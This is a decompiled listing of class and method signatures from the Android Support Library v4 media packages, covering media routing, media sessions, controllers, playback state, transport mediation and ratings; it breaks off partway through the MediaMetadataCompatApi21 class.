package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybeanMr1$ActiveScanWorkaround implements Runnable {
    private static final int WIFI_DISPLAY_SCAN_INTERVAL = 15000;
    private final android.hardware.display.DisplayManager mDisplayManager;
    private final android.os.Handler mHandler;
    private reflect.Method mScanWifiDisplaysMethod;
    private boolean mActivelyScanningWifiDisplays;
    public void MediaRouterJellybeanMr1$ActiveScanWorkaround(android.content.Context, android.os.Handler);
    public void setActiveScanRouteTypes(int);
    public void run();
}










android/support/v4/media/routing/MediaRouterJellybean.class


package android.support.v4.media.routing;
synchronized class MediaRouterJellybean {
    private static final String TAG = MediaRouterJellybean;
    public static final int ROUTE_TYPE_LIVE_AUDIO = 1;
    public static final int ROUTE_TYPE_LIVE_VIDEO = 2;
    public static final int ROUTE_TYPE_USER = 8388608;
    public static final int ALL_ROUTE_TYPES = 8388611;
    void MediaRouterJellybean();
    public static Object getMediaRouter(android.content.Context);
    public static java.util.List getRoutes(Object);
    public static java.util.List getCategories(Object);
    public static Object getSelectedRoute(Object, int);
    public static void selectRoute(Object, int, Object);
    public static void addCallback(Object, int, Object);
    public static void removeCallback(Object, Object);
    public static Object createRouteCategory(Object, String, boolean);
    public static Object createUserRoute(Object, Object);
    public static void addUserRoute(Object, Object);
    public static void removeUserRoute(Object, Object);
    public static Object createCallback(MediaRouterJellybean$Callback);
    public static Object createVolumeCallback(MediaRouterJellybean$VolumeCallback);
}










android/support/v4/media/routing/MediaRouterJellybeanMr1$CallbackProxy.class


package android.support.v4.media.routing;
synchronized class MediaRouterJellybeanMr1$CallbackProxy extends MediaRouterJellybean$CallbackProxy {
    public void MediaRouterJellybeanMr1$CallbackProxy(MediaRouterJellybeanMr1$Callback);
    public void onRoutePresentationDisplayChanged(android.media.MediaRouter, android.media.MediaRouter$RouteInfo);
}










android/support/v4/media/routing/MediaRouterJellybean$RouteCategory.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybean$RouteCategory {
    public void MediaRouterJellybean$RouteCategory();
    public static CharSequence getName(Object, android.content.Context);
    public static java.util.List getRoutes(Object);
    public static int getSupportedTypes(Object);
    public static boolean isGroupable(Object);
}










android/support/v4/media/routing/MediaRouterJellybean$RouteInfo.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybean$RouteInfo {
    public void MediaRouterJellybean$RouteInfo();
    public static CharSequence getName(Object, android.content.Context);
    public static CharSequence getStatus(Object);
    public static int getSupportedTypes(Object);
    public static Object getCategory(Object);
    public static android.graphics.drawable.Drawable getIconDrawable(Object);
    public static int getPlaybackType(Object);
    public static int getPlaybackStream(Object);
    public static int getVolume(Object);
    public static int getVolumeMax(Object);
    public static int getVolumeHandling(Object);
    public static Object getTag(Object);
    public static void setTag(Object, Object);
    public static void requestSetVolume(Object, int);
    public static void requestUpdateVolume(Object, int);
    public static Object getGroup(Object);
    public static boolean isGroup(Object);
}










android/support/v4/media/routing/MediaRouterJellybean$GetDefaultRouteWorkaround.class


package android.support.v4.media.routing;
public final synchronized class MediaRouterJellybean$GetDefaultRouteWorkaround {
    private reflect.Method mGetSystemAudioRouteMethod;
    public void MediaRouterJellybean$GetDefaultRouteWorkaround();
    public Object getDefaultRoute(Object);
}










android/support/v4/media/TransportPerformer.class


package android.support.v4.media;
public abstract synchronized class TransportPerformer {
    static final int AUDIOFOCUS_GAIN = 1;
    static final int AUDIOFOCUS_GAIN_TRANSIENT = 2;
    static final int AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK = 3;
    static final int AUDIOFOCUS_LOSS = -1;
    static final int AUDIOFOCUS_LOSS_TRANSIENT = -2;
    static final int AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK = -3;
    public void TransportPerformer();
    public abstract void onStart();
    public abstract void onPause();
    public abstract void onStop();
    public abstract long onGetDuration();
    public abstract long onGetCurrentPosition();
    public abstract void onSeekTo(long);
    public abstract boolean onIsPlaying();
    public int onGetBufferPercentage();
    public int onGetTransportControlFlags();
    public boolean onMediaButtonDown(int, android.view.KeyEvent);
    public boolean onMediaButtonUp(int, android.view.KeyEvent);
    public void onAudioFocusChange(int);
}










android/support/v4/media/VolumeProviderCompat$1.class


package android.support.v4.media;
synchronized class VolumeProviderCompat$1 implements VolumeProviderCompatApi21$Delegate {
    void VolumeProviderCompat$1(VolumeProviderCompat);
    public void onSetVolumeTo(int);
    public void onAdjustVolume(int);
}










android/support/v4/media/MediaMetadataCompat$1.class


package android.support.v4.media;
final synchronized class MediaMetadataCompat$1 implements android.os.Parcelable$Creator {
    void MediaMetadataCompat$1();
    public MediaMetadataCompat createFromParcel(android.os.Parcel);
    public MediaMetadataCompat[] newArray(int);
}










android/support/v4/media/TransportMediator$1.class


package android.support.v4.media;
synchronized class TransportMediator$1 implements TransportMediatorCallback {
    void TransportMediator$1(TransportMediator);
    public void handleKey(android.view.KeyEvent);
    public void handleAudioFocusChange(int);
    public long getPlaybackPosition();
    public void playbackPositionUpdate(long);
}










android/support/v4/media/session/MediaSessionCompat.class


package android.support.v4.media.session;
public synchronized class MediaSessionCompat {
    private final MediaSessionCompat$MediaSessionImpl mImpl;
    public static final int FLAG_HANDLES_MEDIA_BUTTONS = 1;
    public static final int FLAG_HANDLES_TRANSPORT_CONTROLS = 2;
    public void MediaSessionCompat(android.content.Context, String);
    private void MediaSessionCompat(MediaSessionCompat$MediaSessionImpl);
    public void setCallback(MediaSessionCompat$Callback);
    public void setCallback(MediaSessionCompat$Callback, android.os.Handler);
    public void setFlags(int);
    public void setPlaybackToLocal(int);
    public void setPlaybackToRemote(android.support.v4.media.VolumeProviderCompat);
    public void setActive(boolean);
    public boolean isActive();
    public void sendSessionEvent(String, android.os.Bundle);
    public void release();
    public MediaSessionCompat$Token getSessionToken();
    public void setPlaybackState(PlaybackStateCompat);
    public void setMetadata(android.support.v4.media.MediaMetadataCompat);
    public Object getMediaSession();
    public static MediaSessionCompat obtain(Object);
}










android/support/v4/media/session/MediaSessionCompatApi21$CallbackProxy.class


package android.support.v4.media.session;
synchronized class MediaSessionCompatApi21$CallbackProxy extends android.media.session.MediaSession$Callback {
    protected final MediaSessionCompatApi21$Callback mCallback;
    public void MediaSessionCompatApi21$CallbackProxy(MediaSessionCompatApi21$Callback);
    public void onCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public boolean onMediaButtonEvent(android.content.Intent);
    public void onPlay();
    public void onPause();
    public void onSkipToNext();
    public void onSkipToPrevious();
    public void onFastForward();
    public void onRewind();
    public void onStop();
    public void onSeekTo(long);
    public void onSetRating(android.media.Rating);
}










android/support/v4/media/session/MediaSessionCompat$MediaSessionImplApi21.class


package android.support.v4.media.session;
synchronized class MediaSessionCompat$MediaSessionImplApi21 implements MediaSessionCompat$MediaSessionImpl {
    private final Object mSessionObj;
    private final MediaSessionCompat$Token mToken;
    public void MediaSessionCompat$MediaSessionImplApi21(android.content.Context, String);
    public void MediaSessionCompat$MediaSessionImplApi21(Object);
    public void setCallback(MediaSessionCompat$Callback, android.os.Handler);
    public void setFlags(int);
    public void setPlaybackToLocal(int);
    public void setPlaybackToRemote(android.support.v4.media.VolumeProviderCompat);
    public void setActive(boolean);
    public boolean isActive();
    public void sendSessionEvent(String, android.os.Bundle);
    public void release();
    public MediaSessionCompat$Token getSessionToken();
    public void setPlaybackState(PlaybackStateCompat);
    public void setMetadata(android.support.v4.media.MediaMetadataCompat);
    public Object getMediaSession();
}










android/support/v4/media/session/MediaSessionCompat$Callback.class


package android.support.v4.media.session;
public abstract synchronized class MediaSessionCompat$Callback {
    final Object mCallbackObj;
    public void MediaSessionCompat$Callback();
    public void onCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public boolean onMediaButtonEvent(android.content.Intent);
    public void onPlay();
    public void onPause();
    public void onSkipToNext();
    public void onSkipToPrevious();
    public void onFastForward();
    public void onRewind();
    public void onStop();
    public void onSeekTo(long);
    public void onSetRating(android.support.v4.media.RatingCompat);
}










android/support/v4/media/session/MediaSessionCompat$Token$1.class


package android.support.v4.media.session;
final synchronized class MediaSessionCompat$Token$1 implements android.os.Parcelable$Creator {
    void MediaSessionCompat$Token$1();
    public MediaSessionCompat$Token createFromParcel(android.os.Parcel);
    public MediaSessionCompat$Token[] newArray(int);
}










android/support/v4/media/session/MediaSessionCompat$Token.class


package android.support.v4.media.session;
public final synchronized class MediaSessionCompat$Token implements android.os.Parcelable {
    private final android.os.Parcelable mInner;
    public static final android.os.Parcelable$Creator CREATOR;
    void MediaSessionCompat$Token(android.os.Parcelable);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    public Object getToken();
    static void <clinit>();
}










android/support/v4/media/session/MediaControllerCompat$Callback$StubApi21.class


package android.support.v4.media.session;
synchronized class MediaControllerCompat$Callback$StubApi21 implements MediaControllerCompatApi21$Callback {
    private void MediaControllerCompat$Callback$StubApi21(MediaControllerCompat$Callback);
    public void onSessionDestroyed();
    public void onSessionEvent(String, android.os.Bundle);
    public void onPlaybackStateChanged(Object);
    public void onMetadataChanged(Object);
}










android/support/v4/media/session/MediaControllerCompat$MediaControllerImpl.class


package android.support.v4.media.session;
abstract interface MediaControllerCompat$MediaControllerImpl {
    public abstract void registerCallback(MediaControllerCompat$Callback, android.os.Handler);
    public abstract void unregisterCallback(MediaControllerCompat$Callback);
    public abstract boolean dispatchMediaButtonEvent(android.view.KeyEvent);
    public abstract MediaControllerCompat$TransportControls getTransportControls();
    public abstract PlaybackStateCompat getPlaybackState();
    public abstract android.support.v4.media.MediaMetadataCompat getMetadata();
    public abstract int getRatingType();
    public abstract MediaControllerCompat$PlaybackInfo getPlaybackInfo();
    public abstract void sendCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public abstract Object getMediaController();
}










android/support/v4/media/session/MediaSessionCompat$MediaSessionImpl.class


package android.support.v4.media.session;
abstract interface MediaSessionCompat$MediaSessionImpl {
    public abstract void setCallback(MediaSessionCompat$Callback, android.os.Handler);
    public abstract void setFlags(int);
    public abstract void setPlaybackToLocal(int);
    public abstract void setPlaybackToRemote(android.support.v4.media.VolumeProviderCompat);
    public abstract void setActive(boolean);
    public abstract boolean isActive();
    public abstract void sendSessionEvent(String, android.os.Bundle);
    public abstract void release();
    public abstract MediaSessionCompat$Token getSessionToken();
    public abstract void setPlaybackState(PlaybackStateCompat);
    public abstract void setMetadata(android.support.v4.media.MediaMetadataCompat);
    public abstract Object getMediaSession();
}










android/support/v4/media/session/MediaControllerCompat$1.class


package android.support.v4.media.session;
synchronized class MediaControllerCompat$1 {
}










android/support/v4/media/session/MediaControllerCompat$TransportControlsApi21.class


package android.support.v4.media.session;
synchronized class MediaControllerCompat$TransportControlsApi21 extends MediaControllerCompat$TransportControls {
    private final Object mControlsObj;
    public void MediaControllerCompat$TransportControlsApi21(Object);
    public void play();
    public void pause();
    public void stop();
    public void seekTo(long);
    public void fastForward();
    public void rewind();
    public void skipToNext();
    public void skipToPrevious();
    public void setRating(android.support.v4.media.RatingCompat);
}










android/support/v4/media/session/MediaControllerCompat.class


package android.support.v4.media.session;
public final synchronized class MediaControllerCompat {
    private final MediaControllerCompat$MediaControllerImpl mImpl;
    public void MediaControllerCompat(android.content.Context, MediaSessionCompat);
    public void MediaControllerCompat(android.content.Context, MediaSessionCompat$Token) throws android.os.RemoteException;
    public MediaControllerCompat$TransportControls getTransportControls();
    public boolean dispatchMediaButtonEvent(android.view.KeyEvent);
    public PlaybackStateCompat getPlaybackState();
    public android.support.v4.media.MediaMetadataCompat getMetadata();
    public int getRatingType();
    public MediaControllerCompat$PlaybackInfo getPlaybackInfo();
    public void registerCallback(MediaControllerCompat$Callback);
    public void registerCallback(MediaControllerCompat$Callback, android.os.Handler);
    public void unregisterCallback(MediaControllerCompat$Callback);
    public void sendCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public Object getMediaController();
}










android/support/v4/media/session/MediaControllerCompat$TransportControls.class


package android.support.v4.media.session;
public abstract synchronized class MediaControllerCompat$TransportControls {
    void MediaControllerCompat$TransportControls();
    public abstract void play();
    public abstract void pause();
    public abstract void stop();
    public abstract void seekTo(long);
    public abstract void fastForward();
    public abstract void skipToNext();
    public abstract void rewind();
    public abstract void skipToPrevious();
    public abstract void setRating(android.support.v4.media.RatingCompat);
}










android/support/v4/media/session/PlaybackStateCompat$1.class


package android.support.v4.media.session;
final synchronized class PlaybackStateCompat$1 implements android.os.Parcelable$Creator {
    void PlaybackStateCompat$1();
    public PlaybackStateCompat createFromParcel(android.os.Parcel);
    public PlaybackStateCompat[] newArray(int);
}










android/support/v4/media/session/PlaybackStateCompatApi21.class


package android.support.v4.media.session;
synchronized class PlaybackStateCompatApi21 {
    void PlaybackStateCompatApi21();
    public static int getState(Object);
    public static long getPosition(Object);
    public static long getBufferedPosition(Object);
    public static float getPlaybackSpeed(Object);
    public static long getActions(Object);
    public static CharSequence getErrorMessage(Object);
    public static long getLastPositionUpdateTime(Object);
    public static Object newInstance(int, long, long, float, long, CharSequence, long);
}










android/support/v4/media/session/MediaControllerCompatApi21$CallbackProxy.class


package android.support.v4.media.session;
synchronized class MediaControllerCompatApi21$CallbackProxy extends android.media.session.MediaController$Callback {
    protected final MediaControllerCompatApi21$Callback mCallback;
    public void MediaControllerCompatApi21$CallbackProxy(MediaControllerCompatApi21$Callback);
    public void onSessionDestroyed();
    public void onSessionEvent(String, android.os.Bundle);
    public void onPlaybackStateChanged(android.media.session.PlaybackState);
    public void onMetadataChanged(android.media.MediaMetadata);
}










android/support/v4/media/session/PlaybackStateCompat$Builder.class


package android.support.v4.media.session;
public final synchronized class PlaybackStateCompat$Builder {
    private int mState;
    private long mPosition;
    private long mBufferedPosition;
    private float mRate;
    private long mActions;
    private CharSequence mErrorMessage;
    private long mUpdateTime;
    public void PlaybackStateCompat$Builder();
    public void PlaybackStateCompat$Builder(PlaybackStateCompat);
    public void setState(int, long, float);
    public void setBufferedPosition(long);
    public void setActions(long);
    public void setErrorMessage(CharSequence);
    public PlaybackStateCompat build();
}










android/support/v4/media/session/MediaControllerCompatApi21$PlaybackInfo.class


package android.support.v4.media.session;
public synchronized class MediaControllerCompatApi21$PlaybackInfo {
    private static final int FLAG_SCO = 4;
    private static final int STREAM_BLUETOOTH_SCO = 6;
    private static final int STREAM_SYSTEM_ENFORCED = 7;
    public void MediaControllerCompatApi21$PlaybackInfo();
    public static int getPlaybackType(Object);
    public static android.media.AudioAttributes getAudioAttributes(Object);
    public static int getLegacyAudioStream(Object);
    public static int getVolumeControl(Object);
    public static int getMaxVolume(Object);
    public static int getCurrentVolume(Object);
    private static int toLegacyStreamType(android.media.AudioAttributes);
}










android/support/v4/media/session/MediaSessionCompatApi21.class


package android.support.v4.media.session;
synchronized class MediaSessionCompatApi21 {
    void MediaSessionCompatApi21();
    public static Object createSession(android.content.Context, String);
    public static Object verifySession(Object);
    public static Object createCallback(MediaSessionCompatApi21$Callback);
    public static void setCallback(Object, Object, android.os.Handler);
    public static void setFlags(Object, int);
    public static void setPlaybackToLocal(Object, int);
    public static void setPlaybackToRemote(Object, Object);
    public static void setActive(Object, boolean);
    public static boolean isActive(Object);
    public static void sendSessionEvent(Object, String, android.os.Bundle);
    public static void release(Object);
    public static android.os.Parcelable getSessionToken(Object);
    public static void setPlaybackState(Object, Object);
    public static void setMetadata(Object, Object);
}










android/support/v4/media/session/MediaControllerCompat$MediaControllerImplBase.class


package android.support.v4.media.session;
synchronized class MediaControllerCompat$MediaControllerImplBase implements MediaControllerCompat$MediaControllerImpl {
    void MediaControllerCompat$MediaControllerImplBase();
    public void registerCallback(MediaControllerCompat$Callback, android.os.Handler);
    public void unregisterCallback(MediaControllerCompat$Callback);
    public boolean dispatchMediaButtonEvent(android.view.KeyEvent);
    public MediaControllerCompat$TransportControls getTransportControls();
    public PlaybackStateCompat getPlaybackState();
    public android.support.v4.media.MediaMetadataCompat getMetadata();
    public int getRatingType();
    public MediaControllerCompat$PlaybackInfo getPlaybackInfo();
    public void sendCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public Object getMediaController();
}










android/support/v4/media/session/MediaControllerCompat$PlaybackInfo.class


package android.support.v4.media.session;
public final synchronized class MediaControllerCompat$PlaybackInfo {
    public static final int PLAYBACK_TYPE_LOCAL = 1;
    public static final int PLAYBACK_TYPE_REMOTE = 2;
    private final int mPlaybackType;
    private final int mAudioStream;
    private final int mVolumeControl;
    private final int mMaxVolume;
    private final int mCurrentVolume;
    void MediaControllerCompat$PlaybackInfo(int, int, int, int, int);
    public int getPlaybackType();
    public int getAudioStream();
    public int getVolumeControl();
    public int getMaxVolume();
    public int getCurrentVolume();
}










android/support/v4/media/session/MediaControllerCompat$MediaControllerImplApi21.class


package android.support.v4.media.session;
synchronized class MediaControllerCompat$MediaControllerImplApi21 implements MediaControllerCompat$MediaControllerImpl {
    private final Object mControllerObj;
    public void MediaControllerCompat$MediaControllerImplApi21(android.content.Context, MediaSessionCompat);
    public void MediaControllerCompat$MediaControllerImplApi21(android.content.Context, MediaSessionCompat$Token) throws android.os.RemoteException;
    public void registerCallback(MediaControllerCompat$Callback, android.os.Handler);
    public void unregisterCallback(MediaControllerCompat$Callback);
    public boolean dispatchMediaButtonEvent(android.view.KeyEvent);
    public MediaControllerCompat$TransportControls getTransportControls();
    public PlaybackStateCompat getPlaybackState();
    public android.support.v4.media.MediaMetadataCompat getMetadata();
    public int getRatingType();
    public MediaControllerCompat$PlaybackInfo getPlaybackInfo();
    public void sendCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public Object getMediaController();
}










android/support/v4/media/session/MediaControllerCompatApi21$TransportControls.class


package android.support.v4.media.session;
public synchronized class MediaControllerCompatApi21$TransportControls {
    public void MediaControllerCompatApi21$TransportControls();
    public static void play(Object);
    public static void pause(Object);
    public static void stop(Object);
    public static void seekTo(Object, long);
    public static void fastForward(Object);
    public static void rewind(Object);
    public static void skipToNext(Object);
    public static void skipToPrevious(Object);
    public static void setRating(Object, Object);
}










android/support/v4/media/session/MediaControllerCompatApi21.class


package android.support.v4.media.session;
synchronized class MediaControllerCompatApi21 {
    void MediaControllerCompatApi21();
    public static Object fromToken(android.content.Context, Object);
    public static Object createCallback(MediaControllerCompatApi21$Callback);
    public static void registerCallback(Object, Object, android.os.Handler);
    public static void unregisterCallback(Object, Object);
    public static Object getTransportControls(Object);
    public static Object getPlaybackState(Object);
    public static Object getMetadata(Object);
    public static int getRatingType(Object);
    public static Object getPlaybackInfo(Object);
    public static boolean dispatchMediaButtonEvent(Object, android.view.KeyEvent);
    public static void sendCommand(Object, String, android.os.Bundle, android.os.ResultReceiver);
}










android/support/v4/media/session/MediaControllerCompatApi21$Callback.class


package android.support.v4.media.session;
public abstract interface MediaControllerCompatApi21$Callback {
    public abstract void onSessionDestroyed();
    public abstract void onSessionEvent(String, android.os.Bundle);
    public abstract void onPlaybackStateChanged(Object);
    public abstract void onMetadataChanged(Object);
}










android/support/v4/media/session/MediaSessionCompat$MediaSessionImplBase.class


package android.support.v4.media.session;
synchronized class MediaSessionCompat$MediaSessionImplBase implements MediaSessionCompat$MediaSessionImpl {
    void MediaSessionCompat$MediaSessionImplBase();
    public void setCallback(MediaSessionCompat$Callback, android.os.Handler);
    public void setFlags(int);
    public void setPlaybackToLocal(int);
    public void setPlaybackToRemote(android.support.v4.media.VolumeProviderCompat);
    public void setActive(boolean);
    public boolean isActive();
    public void sendSessionEvent(String, android.os.Bundle);
    public void release();
    public MediaSessionCompat$Token getSessionToken();
    public void setPlaybackState(PlaybackStateCompat);
    public void setMetadata(android.support.v4.media.MediaMetadataCompat);
    public Object getMediaSession();
}










android/support/v4/media/session/PlaybackStateCompat.class


package android.support.v4.media.session;
public final synchronized class PlaybackStateCompat implements android.os.Parcelable {
    public static final long ACTION_STOP = 1;
    public static final long ACTION_PAUSE = 2;
    public static final long ACTION_PLAY = 4;
    public static final long ACTION_REWIND = 8;
    public static final long ACTION_SKIP_TO_PREVIOUS = 16;
    public static final long ACTION_SKIP_TO_NEXT = 32;
    public static final long ACTION_FAST_FORWARD = 64;
    public static final long ACTION_SET_RATING = 128;
    public static final long ACTION_SEEK_TO = 256;
    public static final long ACTION_PLAY_PAUSE = 512;
    public static final long ACTION_PLAY_FROM_MEDIA_ID = 1024;
    public static final long ACTION_PLAY_FROM_SEARCH = 2048;
    public static final long ACTION_SKIP_TO_QUEUE_ITEM = 4096;
    public static final int STATE_NONE = 0;
    public static final int STATE_STOPPED = 1;
    public static final int STATE_PAUSED = 2;
    public static final int STATE_PLAYING = 3;
    public static final int STATE_FAST_FORWARDING = 4;
    public static final int STATE_REWINDING = 5;
    public static final int STATE_BUFFERING = 6;
    public static final int STATE_ERROR = 7;
    public static final int STATE_CONNECTING = 8;
    public static final int STATE_SKIPPING_TO_PREVIOUS = 9;
    public static final int STATE_SKIPPING_TO_NEXT = 10;
    public static final long PLAYBACK_POSITION_UNKNOWN = -1;
    private final int mState;
    private final long mPosition;
    private final long mBufferedPosition;
    private final float mSpeed;
    private final long mActions;
    private final CharSequence mErrorMessage;
    private final long mUpdateTime;
    private Object mStateObj;
    public static final android.os.Parcelable$Creator CREATOR;
    private void PlaybackStateCompat(int, long, long, float, long, CharSequence, long);
    private void PlaybackStateCompat(android.os.Parcel);
    public String toString();
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    public int getState();
    public long getPosition();
    public long getBufferedPosition();
    public float getPlaybackSpeed();
    public long getActions();
    public CharSequence getErrorMessage();
    public long getLastPositionUpdateTime();
    public static PlaybackStateCompat fromPlaybackState(Object);
    public Object getPlaybackState();
    static void <clinit>();
}










android/support/v4/media/session/MediaSessionCompatApi21$Callback.class


package android.support.v4.media.session;
public abstract interface MediaSessionCompatApi21$Callback {
    public abstract void onCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public abstract boolean onMediaButtonEvent(android.content.Intent);
    public abstract void onPlay();
    public abstract void onPause();
    public abstract void onSkipToNext();
    public abstract void onSkipToPrevious();
    public abstract void onFastForward();
    public abstract void onRewind();
    public abstract void onStop();
    public abstract void onSeekTo(long);
    public abstract void onSetRating(Object);
}










android/support/v4/media/session/MediaControllerCompat$Callback.class


package android.support.v4.media.session;
public abstract synchronized class MediaControllerCompat$Callback {
    final Object mCallbackObj;
    public void MediaControllerCompat$Callback();
    public void onSessionDestroyed();
    public void onSessionEvent(String, android.os.Bundle);
    public void onPlaybackStateChanged(PlaybackStateCompat);
    public void onMetadataChanged(android.support.v4.media.MediaMetadataCompat);
}










android/support/v4/media/session/MediaSessionCompat$Callback$StubApi21.class


package android.support.v4.media.session;
synchronized class MediaSessionCompat$Callback$StubApi21 implements MediaSessionCompatApi21$Callback {
    private void MediaSessionCompat$Callback$StubApi21(MediaSessionCompat$Callback);
    public void onCommand(String, android.os.Bundle, android.os.ResultReceiver);
    public boolean onMediaButtonEvent(android.content.Intent);
    public void onPlay();
    public void onPause();
    public void onSkipToNext();
    public void onSkipToPrevious();
    public void onFastForward();
    public void onRewind();
    public void onStop();
    public void onSeekTo(long);
    public void onSetRating(Object);
}










android/support/v4/media/session/MediaSessionCompat$1.class


package android.support.v4.media.session;
synchronized class MediaSessionCompat$1 {
}










android/support/v4/media/TransportMediatorJellybeanMR2$2.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$2 implements android.view.ViewTreeObserver$OnWindowFocusChangeListener {
    void TransportMediatorJellybeanMR2$2(TransportMediatorJellybeanMR2);
    public void onWindowFocusChanged(boolean);
}










android/support/v4/media/RatingCompat$1.class


package android.support.v4.media;
final synchronized class RatingCompat$1 implements android.os.Parcelable$Creator {
    void RatingCompat$1();
    public RatingCompat createFromParcel(android.os.Parcel);
    public RatingCompat[] newArray(int);
}










android/support/v4/media/RatingCompatApi21.class


package android.support.v4.media;
synchronized class RatingCompatApi21 {
    void RatingCompatApi21();
    public static Object newUnratedRating(int);
    public static Object newHeartRating(boolean);
    public static Object newThumbRating(boolean);
    public static Object newStarRating(int, float);
    public static Object newPercentageRating(float);
    public static boolean isRated(Object);
    public static int getRatingStyle(Object);
    public static boolean hasHeart(Object);
    public static boolean isThumbUp(Object);
    public static float getStarRating(Object);
    public static float getPercentRating(Object);
}










android/support/v4/media/MediaMetadataCompatApi21$Builder.class


package android.support.v4.media;
public synchronized class MediaMetadataCompatApi21$Builder {
    public void MediaMetadataCompatApi21$Builder();
    public static Object newInstance();
    public static void putBitmap(Object, String, android.graphics.Bitmap);
    public static void putLong(Object, String, long);
    public static void putRating(Object, String, Object);
    public static void putText(Object, String, CharSequence);
    public static void putString(Object, String, String);
    public static Object build(Object);
}










android/support/v4/media/TransportMediatorJellybeanMR2$1.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$1 implements android.view.ViewTreeObserver$OnWindowAttachListener {
    void TransportMediatorJellybeanMR2$1(TransportMediatorJellybeanMR2);
    public void onWindowAttached();
    public void onWindowDetached();
}










android/support/v4/media/TransportMediatorJellybeanMR2.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2 implements android.media.RemoteControlClient$OnGetPlaybackPositionListener, android.media.RemoteControlClient$OnPlaybackPositionUpdateListener {
    final android.content.Context mContext;
    final android.media.AudioManager mAudioManager;
    final android.view.View mTargetView;
    final TransportMediatorCallback mTransportCallback;
    final String mReceiverAction;
    final android.content.IntentFilter mReceiverFilter;
    final android.content.Intent mIntent;
    final android.view.ViewTreeObserver$OnWindowAttachListener mWindowAttachListener;
    final android.view.ViewTreeObserver$OnWindowFocusChangeListener mWindowFocusListener;
    final android.content.BroadcastReceiver mMediaButtonReceiver;
    android.media.AudioManager$OnAudioFocusChangeListener mAudioFocusChangeListener;
    android.app.PendingIntent mPendingIntent;
    android.media.RemoteControlClient mRemoteControl;
    boolean mFocused;
    int mPlayState;
    boolean mAudioFocused;
    public void TransportMediatorJellybeanMR2(android.content.Context, android.media.AudioManager, android.view.View, TransportMediatorCallback);
    public Object getRemoteControlClient();
    public void destroy();
    void windowAttached();
    void gainFocus();
    void takeAudioFocus();
    public void startPlaying();
    public long onGetPlaybackPosition();
    public void onPlaybackPositionUpdate(long);
    public void refreshState(boolean, long, int);
    public void pausePlaying();
    public void stopPlaying();
    void dropAudioFocus();
    void loseFocus();
    void windowDetached();
}










android/support/v4/media/TransportStateListener.class


package android.support.v4.media;
public synchronized class TransportStateListener {
    public void TransportStateListener();
    public void onPlayingChanged(TransportController);
    public void onTransportControlsChanged(TransportController);
}










android/support/v4/media/TransportMediatorJellybeanMR2$3.class


package android.support.v4.media;
synchronized class TransportMediatorJellybeanMR2$3 extends android.content.BroadcastReceiver {
    void TransportMediatorJellybeanMR2$3(TransportMediatorJellybeanMR2);
    public void onReceive(android.content.Context, android.content.Intent);
}










android/support/v4/media/TransportMediator.class


package android.support.v4.media;
public synchronized class TransportMediator extends TransportController {
    final android.content.Context mContext;
    final TransportPerformer mCallbacks;
    final android.media.AudioManager mAudioManager;
    final android.view.View mView;
    final Object mDispatcherState;
    final TransportMediatorJellybeanMR2 mController;
    final java.util.ArrayList mListeners;
    final TransportMediatorCallback mTransportKeyCallback;
    public static final int KEYCODE_MEDIA_PLAY = 126;
    public static final int KEYCODE_MEDIA_PAUSE = 127;
    public static final int KEYCODE_MEDIA_RECORD = 130;
    public static final int FLAG_KEY_MEDIA_PREVIOUS = 1;
    public static final int FLAG_KEY_MEDIA_REWIND = 2;
    public static final int FLAG_KEY_MEDIA_PLAY = 4;
    public static final int FLAG_KEY_MEDIA_PLAY_PAUSE = 8;
    public static final int FLAG_KEY_MEDIA_PAUSE = 16;
    public static final int FLAG_KEY_MEDIA_STOP = 32;
    public static final int FLAG_KEY_MEDIA_FAST_FORWARD = 64;
    public static final int FLAG_KEY_MEDIA_NEXT = 128;
    final android.view.KeyEvent$Callback mKeyEventCallback;
    static boolean isMediaKey(int);
    public void TransportMediator(android.app.Activity, TransportPerformer);
    public void TransportMediator(android.view.View, TransportPerformer);
    private void TransportMediator(android.app.Activity, android.view.View, TransportPerformer);
    public Object getRemoteControlClient();
    public boolean dispatchKeyEvent(android.view.KeyEvent);
    public void registerStateListener(TransportStateListener);
    public void unregisterStateListener(TransportStateListener);
    private TransportStateListener[] getListeners();
    private void reportPlayingChanged();
    private void reportTransportControlsChanged();
    private void pushControllerState();
    public void refreshState();
    public void startPlaying();
    public void pausePlaying();
    public void stopPlaying();
    public long getDuration();
    public long getCurrentPosition();
    public void seekTo(long);
    public boolean isPlaying();
    public int getBufferPercentage();
    public int getTransportControlFlags();
    public void destroy();
}










android/support/v4/media/MediaMetadataCompat$Builder.class


package android.support.v4.media;
public final synchronized class MediaMetadataCompat$Builder {
    private final android.os.Bundle mBundle;
    public void MediaMetadataCompat$Builder();
    public void MediaMetadataCompat$Builder(MediaMetadataCompat);
    public MediaMetadataCompat$Builder putText(String, CharSequence);
    public MediaMetadataCompat$Builder putString(String, String);
    public MediaMetadataCompat$Builder putLong(String, long);
    public MediaMetadataCompat$Builder putRating(String, RatingCompat);
    public MediaMetadataCompat$Builder putBitmap(String, android.graphics.Bitmap);
    public MediaMetadataCompat build();
}










android/support/v4/media/TransportMediatorCallback.class


package android.support.v4.media;
abstract interface TransportMediatorCallback {
    public abstract void handleKey(android.view.KeyEvent);
    public abstract void handleAudioFocusChange(int);
    public abstract long getPlaybackPosition();
    public abstract void playbackPositionUpdate(long);
}










android/support/v4/media/VolumeProviderCompat$Callback.class


package android.support.v4.media;
public abstract synchronized class VolumeProviderCompat$Callback {
    public void VolumeProviderCompat$Callback();
    public abstract void onVolumeChanged(VolumeProviderCompat);
}










android/support/v4/media/MediaMetadataCompatApi21.class


package android.support.v4.media;
synchronized class MediaMetadataCompatApi21 {
    void MediaMetadataCompatApi21();
    public static java.util.Set keySet(Object);
    public static android.graphics.Bitmap getBitmap(Object, String);
